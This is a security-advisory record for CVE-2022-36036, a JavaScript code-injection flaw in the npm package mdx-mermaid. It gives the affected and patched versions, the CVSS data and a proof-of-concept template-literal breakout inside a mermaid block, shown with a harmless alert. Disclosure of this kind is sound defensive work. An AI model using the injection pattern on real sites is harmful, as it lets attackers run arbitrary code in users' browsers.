GHSA-RVGM-35JW-Q628
Vulnerability from github – Published: 2022-08-31 22:26 – Updated: 2022-09-08 14:12
VLAI?
Summary
Improper Control of Generation of Code ('Code Injection') in mdx-mermaid
Details
Impact
Arbitary javascript injection
Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs
` + (function () {
// Put Javascript code here
return ''
}()) + `
The block below shows a valid mermaid code block
```mermaid
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
The same block but with the exploit added
```mermaid
` + (function () {
alert('vulnerable')
return ''
}()) + `
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
Patches
1.3.0 and 2.0.0-rc2
Workarounds
None known
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mdx-mermaid"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "mdx-mermaid"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-rc1"
},
{
"fixed": "2.0.0-rc2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.0-rc1"
]
}
],
"aliases": [
"CVE-2022-36036"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-31T22:26:11Z",
"nvd_published_at": "2022-08-29T18:15:00Z",
"severity": "LOW"
},
"details": "### Impact\n\nArbitary javascript injection\n\nModify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs\n\n```\n` + (function () {\n // Put Javascript code here\n return \u0027\u0027\n}()) + `\n```\n\nThe block below shows a valid mermaid code block\n\n````md\n```mermaid\ngraph TD;\n A--\u003eB;\n A--\u003eC;\n B--\u003eD;\n C--\u003eD;\n```\n````\n\nThe same block but with the exploit added\n\n````md\n```mermaid\n` + (function () {\n alert(\u0027vulnerable\u0027)\n return \u0027\u0027\n}()) + `\ngraph TD;\n A--\u003eB;\n A--\u003eC;\n B--\u003eD;\n C--\u003eD;\n```\n````\n\n### Patches\n1.3.0 and 2.0.0-rc2\n\n### Workarounds\nNone known",
"id": "GHSA-rvgm-35jw-q628",
"modified": "2022-09-08T14:12:04Z",
"published": "2022-08-31T22:26:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sjwall/mdx-mermaid/security/advisories/GHSA-rvgm-35jw-q628"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36036"
},
{
"type": "WEB",
"url": "https://github.com/sjwall/mdx-mermaid/commit/f2b99386660fd13316823529c3f1314ebbcdfd2a"
},
{
"type": "PACKAGE",
"url": "https://github.com/sjwall/mdx-mermaid"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Control of Generation of Code (\u0027Code Injection\u0027) in mdx-mermaid"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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